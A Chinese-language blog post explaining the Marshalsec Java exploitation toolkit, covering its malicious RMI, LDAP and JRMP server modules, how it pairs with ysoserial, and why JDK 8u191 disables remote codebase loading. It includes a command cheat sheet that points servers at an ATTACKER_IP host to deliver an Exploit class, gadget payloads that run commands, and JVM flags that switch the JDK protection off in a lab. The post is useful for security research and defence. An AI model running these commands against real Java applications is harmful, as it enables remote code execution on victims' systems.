Marshalsec 工具详解

0x01.Marshalsec 是什么

Marshalsec 是一个用于研究和利用 Java 反序列化、JNDI 以及 RMI 安全问题的攻击与测试框架,由著名 Java 安全研究员 Moritz Bechler 开发。该工具并非传统意义上的“漏洞利用脚本”,而是一组可快速启动恶意服务端组件的集合,用于配合目标 Java 应用触发不安全的对象加载或反序列化行为。
从攻击视角看,Marshalsec 的核心价值在于:它实现了多种“恶意中间件服务”,用于在协议层面欺骗目标 JVM 主动执行攻击逻辑。

0x02 Marshalsec 解决的核心问题

在 Java 漏洞利用中,攻击者通常面临一个关键难点:如何让目标 JVM 在“看似正常的协议交互”中,执行攻击者的代码?
Marshalsec 的解决思路是:不直接向目标推送 payload 而是构造合法协议响应诱导 JVM 在反序列化 / JNDI 查找 / RMI 交互过程中自行加载并执行恶意对象或类。因此,Marshalsec 的本质并不是“发 payload”,而是扮演协议中的“可信服务端角色”。

0x03 Marshalsec 的整体架构思想

Marshalsec 采用模块化设计,不同模块对应不同的 Java 安全攻击面:

                 ┌────────────┐
                 │  目标 JVM  │
                 └─────▲──────┘
                       │
     ┌─────────────────┼─────────────────┐
     │                 │                 │
RMI Registry        LDAP Server       JRMP Listener
 (JNDI)              (JNDI)            (RMI 序列化)

攻击者通过 Marshalsec 启动其中某一类服务,等待目标 JVM 主动连接并触发漏洞。

0x04 Marshalsec 的主要模块详解

JNDI 相关模块

(1)RMIRefServer
作用:启动一个恶意 RMI Registry,在 JNDI lookup 时返回包含远程 Codebase 的 Reference 对象。
攻击条件:

  • JDK 版本允许远程 Codebase 加载
  • com.sun.jndi.rmi.object.trustURLCodebase = true
  • java.rmi.server.useCodebaseOnly = false

利用原理:

  • 返回 ReferenceWrapper
  • 指定 className
  • 指定 codebase URL
  • 目标 JVM 从 HTTP 服务器加载恶意类

(2)LDAPRefServer
作用:模拟一个恶意 LDAP 服务,在 JNDI 查询中返回可控的 LDAP Entry,触发远程类加载或对象实例化。
应用场景:

  • Log4j2 LDAP 利用
  • Spring JNDI 注入
  • Fastjson JNDI 场景

RMI 反序列化模块

(1)JRMPListener
作用:监听 RMI JRMP 协议请求,并在反序列化阶段发送恶意序列化对象。
特点:

  • 不依赖 JNDI
  • 利用原生 Java RMI 序列化机制
  • 常与 ysoserial gadget 链配合使用

HTTP Server 模块

作用:提供远程 Codebase,承载恶意 .class 文件。Marshalsec 本身并不强制内置 HTTP Server,通常配合:python3 -m http.server 8000或 Nginx / Apache 使用。

0x05 Marshalsec 与 ysoserial 的区别与关系

工具 关注点
ysoserial 构造反序列化 payload
marshalsec 承载与投递 payload 的服务端

ysoserial 负责“造炸弹”,marshalsec 负责“引爆环境”。在实际利用中,两者经常组合使用。

0x06 Marshalsec 的典型使用场景

1.JNDI注入漏洞复现:Log4j2 JNDI RCE、Spring JNDI 注入、Weblogic JNDI 利用
2.Java 反序列化漏洞研究:RMI 接口反序列化、T3 协议利用、JRMP 利用链测试
3.安全研究与防护验证:验证 JDK 补丁效果、验证 trustURLCodebase 默认关闭后的防护能力、测试 WAF / RASP 对 JNDI 行为的拦截能力

0x07 Marshalsec 全模块命令

//安装Marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

//Marshalsec通用格式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar <MainClass> [args...]

//启动RMIRefServer【固定监听1099】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.RMIRefServer \
http://ATTACKER_IP:HTTP_PORT/#Exploit

//启动LDAPRefServer【固定监听1389】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
http://ATTACKER_IP:HTTP_PORT/#Exploit

//LDAPRefServer+序列化对象
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
CommonsCollections1 \
"touch /tmp/pwned"

//启动恶意JRMP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jrmp.JRMPListener \
1099 CommonsCollections1 "calc"    //监听端口:1099;ysoserial gadget:CommonsCollections1;执行命令:calc

//RMI Registry反序列化
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.rmi.RMIRegistryExploit \
1099 CommonsCollections1 "touch /tmp/pwned"

//HTTPServer
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.util.SimpleHTTPServer 8000

//强关联命令
javac Exploit.java    //编译Exploit.class
python3 -m http.server 8000    //启动 HTTP Codebase
命令 场景 JDK限制
RMIRefServer JNDI RMI ≤8u191
LDAPRefServer Log4j ≤8u191
JRMPListener RMI 反序列化
JRMPClient 触发
LDAP + 序列化 LDAP 高版本
RMIRegistryExploit RMI 特定

0x08 Marshalsec的安全意义

Marshalsec 并非自动化攻击工具,而是 Java 安全研究中的基础设施组件。它通过实现恶意 RMI、LDAP、JRMP 等协议服务,揭示了 Java 在对象查找、远程加载和反序列化设计上的历史性安全问题。理解 Marshalsec 的工作原理,有助于从协议和 JVM 行为层面理解 JNDI 与反序列化漏洞的本质。

0x09 为什么 JDK 8u191 之后 Marshalsec 利用默认失效

JDK 8u191 之前:为什么能被利用

在早期 JDK 版本中(≤ 8u191):JNDI lookup 不只是“查名字”,还会 自动实例化返回的对象并且 允许从远程 URL 下载 class。
流程如下:

JNDI lookup

RMI / LDAP 返回 Reference

Reference 指向 codebase URL

JVM 自动下载 .class

加载并初始化类(static 块执行)

以RMIRefServer为例:Marshalsec 启动一个恶意 RMI Registry返回一个 ReferenceWrapper,Reference 中包含:className(Exploit)、codebase(http://attacker/)。目标 JVM 在 lookup 时会:“哦,这是个合法的 RMI 对象,我去 codebase 把类加载下来”。攻击代码在 static 块中执行,直接 RCE。

JDK 8u191 之后发生了什么变化?

Oracle 在 2018 年集中修复了大量 Java 反序列化 / JNDI 利用链,核心策略只有一句话:禁止 JNDI 默认从远程位置加载代码。这一策略体现在多个系统属性的默认值改变:
RMI相关

参数 8u191之前 8u191之后
com.sun.jndi.rmi.object.trustURLCodebase true false
java.rmi.server.useCodebaseOnly false true

意味着:默认不信任远程 codebase,只允许加载本地 classpath 中的类。
LDAP相关

参数 8u191之前 8u191之后
com.sun.jndi.ldap.object.trustURLCodebase true false

意味着:LDAP 返回的 URL Codebase 直接被忽略。
JDK源码层面的防御逻辑:在 NamingManager.getObjectInstance() 中增加了明确校验逻辑:如果对象来自 Reference,且 Reference 指向远程 URL,未显式开启 trustURLCodebase,直接拒绝加载。
所以在靶场中需使用:

-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
-Djava.rmi.server.useCodebaseOnly=false

显式撤销 JDK 的安全防护,JVM 收到指令后,会退回到旧版本行为,允许:从远程 HTTP 加载 class、执行 static initializer。

0x0A Marshalsec RMIRefServer 返回对象结构解析

RMIRefServer 到底“返回了什么”?

RMIRefServer 返回的是一个 ReferenceWrapper 对象
ReferenceWrapper 内部再封装了一个 javax.naming.Reference
JVM 在解包并解析 Reference 的过程中触发远程类加载。

RMIRefServer 的角色定位

RMIRefServer 并不是“反序列化利用”。RMIRefServer 的行为是:

  • 启动一个 RMI Registry(1099)
  • 注册一个对象名(如 Exploit)
  • 当客户端 lookup 时返回一个合法的 RMI 对象,这个对象 完全符合 RMI 与 JNDI 的协议规范

ReferenceWrapper 是什么?

com.sun.jndi.rmi.registry.ReferenceWrapper属于 JDK 内置类,不是 Marshalsec 写的。
ReferenceWrapper 的官方用途是:在 RMI Registry 中包装 javax.naming.Reference 对象,使 Reference 可以通过 RMI 传输。它本质是一个 RMI 远程对象包装器。

ReferenceWrapper 内部结构解析

ReferenceWrapper (Remote Object)
└── Reference
    ├── className
    ├── factoryClassName
    ├── factoryClassLocation  ← Codebase URL
    └── addresses(RefAddr)

客户端 JVM 如何解析 ReferenceWrapper?

//lookup 调用链
InitialContext.lookup()
 → RegistryContext.lookup()
   → RegistryContext.decodeObject()
     → NamingManager.getObjectInstance()

在 RegistryContext.decodeObject() 中:

if (obj instanceof ReferenceWrapper) {
    Reference ref = ((ReferenceWrapper)obj).getReference();
    return NamingManager.getObjectInstance(ref, ...);
}

ReferenceWrapper 被解包,Reference 进入 NamingManager。
NamingManager.getObjectInstance() 行为是真正危险的地方:读取 factoryClassName,如果本地 classpath 不存在,检查是否允许远程 codebase,若允许:从 factoryClassLocation 下载 .class、定义 Class、初始化 Class(static 代码块执行)。

0x0B 完整攻击链时序图

Victim JVM
   |
   | InitialContext.lookup("rmi://attacker:1099/Exploit")
   |
Attacker RMIRefServer
   |
   | 返回 ReferenceWrapper
   |
Victim JVM
   |
   | decodeObject()
   | → getReference()
   | → NamingManager.getObjectInstance()
   |
   | 从 http://attacker:8000/ 下载 Exploit.class
   |
   | ClassLoader.defineClass()
   | → static {} 执行
   |
  RCE
posted @ 2026-01-18 18:40  77板烧鸡腿堡  阅读(2)  评论(0)    收藏  举报